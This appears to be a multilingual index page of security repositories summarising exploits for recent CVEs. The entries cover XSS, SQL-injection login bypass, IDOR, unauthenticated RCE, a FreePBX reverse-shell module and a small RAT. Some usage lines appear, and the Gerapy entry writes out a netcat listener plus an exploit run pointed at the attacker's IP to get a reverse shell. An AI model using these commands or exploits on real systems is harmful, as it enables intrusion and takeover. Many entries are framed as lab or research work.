CVE-2026-7089-XSS

home-service-system-unauth-stored-xss-admin-takeover Schwachstellendetails...

CVE-2026-7071-access-Control

Unauthentifizierte Lebenslauf-Offenlegung im CodeAstro Online-Jobportal PHP MySQL Details Anbieter: CodeAstro Produkt: Online-Jobportal-Projekt in PHP MySQL Version: 1.0 Schwachstellentyp: Unzureichende Zugriffskontrolle / Informationsoffenlegung CWE: CWE-284, CWE-200, CWE-548 Betroffener Endpunk...

CVE-2026-6182-SQLI-auth

Bypass dell'Autenticazione tramite SQL Injection - Simple Content Management System PHP Descrizione Esiste una vulnerabilità di SQL Injection nella pagina di login dell'amministratore di Simple Content Management System PHP. Il parametro user non viene sanitizzato prima di essere passato alla que...

CVE-2026-6201-IDOR

Controle de Acesso Quebrado no CodeAstro Online Job Portal Permite Exclusão Arbitrária de Vagas Detalhes Fornecedor: CodeAstro Produto: Online Job Portal Project in PHP MySQL Versão: 1.0 Tipo de Vulnerabilidade: Controle de Acesso Quebrado IDOR CWE: CWE-639 Arquivo Afetado: /jobs/job-delete.php...

-CVE-2026-1657

CVE-2026-1657 Exploit CVE-2026-1657: caricamento di immagini non autenticato tramite endpoint AJAX 'epuploadfilemedia' USO python3 ./CVE-2026-1657.py https://site.com/ labrat.jpeg...

cve-2026-33032-scanner

Scanner CVE-2026-33032 Scanner di vulnerabilità non distruttivo per il bypass dell'autenticazione dell'endpoint MCP di Nginx-UI Panoramica della Vulnerabilità CVE-2026-33032 è una vulnerabilità di bypass dell'autenticazione nell'integrazione Model Context Protocol MCP di nginx-ui. L'endpoint...

CVE-2021-43857-Gerapy-v0.9.7

CVE-2021-43857-Gerapy-v0.9.7 Connectez-vous au portail en tant qu'admin Ajoutez un nouveau projet sudo nc -lvnp 80 searchsploit -m python/remote/50640.py python3 ./50640.py -t IP-TARGET/URL -p PORT-TARGET -L YOUR-KALI-LINUX-IP -P YOUR-LISTENER-PORT python3 ./50640.py -t 192.168.106.24 -p 8000 -L...

cve-2026-32699-facturascripts-nick-bypass

CVE-2026-32699 - FacturaScripts Parametro Nick di EditUser Controllo di Accesso Rotto Descrizione Riepilogo L'applicazione non riesce a validare il parametro nick durante una richiesta POST al controller EditUser. Sebbene l'interfaccia utente impedisca la modifica di questo campo, un utente può...

CVE-2026-23550-PoC

CVE-2026-23550-PoC CVE-2026-23550 - Modular DS WordPress Plugin Unauthentifizierter Admin-Zugriff Proof-of-Concept PoC , das CVE-2026-23550 demonstriert – kritische Übernahme von Admin-Konten ohne Authentifizierung im Modular DS WordPress-Plugin Versionen ≤2.5.1. Wird aktiv in freier Wildbahn...

FreePBX-Reverse-Shell-Module

FreePBX-Reverse-Shell-Module...

kernel-exploit-dirtycow-project-subm

kernel-exploit-dirtycow-project-subm Dirty COW विशेषाधिकार वृद्धि CVE-2016-5195 यह प्रोजेक्ट Ubuntu 16.04 कर्नेल पर CVE-2016-5195 द्वारा प्रभावित Dirty COW भेद्यता का उपयोग करके नियंत्रित प्रयोगशाला वातावरण में विशेषाधिकार वृद्धि परिदृश्य प्रदर्शित करता है। पर्यावरण हमलावर VM: काली लिनक्स पीड़ित...

CVE-2026-35584

CVE-2026-35584 POC - CVE-2026-35584 FreeScout Descrizione Riepilogo L'endpoint GET /thread/read/conversationid/threadid non richiede autenticazione e non verifica che il threadid fornito appartenga al conversationid indicato. Ciò consente a qualsiasi utente non autenticato di: Contrassegnare...

Sovereign-Echo-33017

Exploit-Titel: Langflow 1.8.1 - Nicht authentifizierte Remote-Codeausführung RCE Datum: 2026-03-21 Exploit-Autor: Americo N. F. Simoes SimoesCTT Hersteller-Homepage: https://www.langflow.org/ Software-Link: https://github.com/langflow-ai/langflow Version: = 1.8.1 Getestet auf: Linux/Fedora 40...

CVE-2025-24999

CVE-2025-24999 Proof of Concept für CVE-2025-24999 https://databasesecurityninja.wordpress.com/2026/04/02/microsoft-sql-server-privilege-elevation-through-msdatabasemanager-role-cve-2025-24999/...

CVE-2026-33032-nginx-ui-vuln-lab

CVE-2026-27944 + CVE-2026-33032 — nginx-ui Zero-Credential RCE Lab Haftungsausschluss: Dieses Repository dient ausschließlich Bildungs- und autorisierten Sicherheitsforschungszwecken. Alle hier demonstrierten Techniken sollten nur gegen Systeme eingesetzt werden, die Ihnen gehören oder für die Si...

CVE-2026-41940-cpanel-0day

Utilizzo root@kitploit: python 0day.py -f test.txt --external-only --show-all -t 10 -o testcvereport.csv Fonte e riferimento https://labs.watchtowr.com/the-internet-is-falling-down-falling-down-falling-down-cpanel-whm-authentication-bypass-cve-2026-41940/ PER FAVORE NON SFRUTTARE, SOLO A SCOPO DI...

n00bRAT

n00bRAT v0.7 Es ist ein winziges C-Programm, das einen minimalistischen HTTP-Server für das Fingerprinting von Sicherheits-Scannern emuliert. Es ermöglicht, den Rechner über dieses vorgetäuschte HTTPv0.1-Protokoll zu steuern. Dieser n00b-Server wurde während des Studiums für den Kurs „Ethical...

windows-smb-vulnerability-framework-cve-2025-33073

Framework di Ricerca sulle Vulnerabilità del Client SMB di Windows Autore: cyberseallll Creato: 2025 Panoramica Ho sviluppato questo framework di ricerca per analizzare e comprendere CVE-2025-33073, una vulnerabilità critica di Elevazione dei Privilegi nel Client SMB di Windows. Questa...

pentest-metasploitable2

Laboratoire de Test d'Intrusion : Kali Linux vs Metasploitable2 Avertissement : Ce laboratoire a été mené entièrement au sein d'un réseau virtuel isolé entre deux machines virtuelles hébergées localement. Aucun système externe, réseau actif ou infrastructure réelle n'a été ciblé à aucun moment...

CVE-2026-36374

Descrizione È stato identificato un endpoint pubblico che consente la ricerca di certificati utilizzando un identificatore prevedibile codice del certificato, senza alcun meccanismo di autenticazione o autorizzazione. Enumerando questo identificatore, un attaccante può accedere a dati personali d...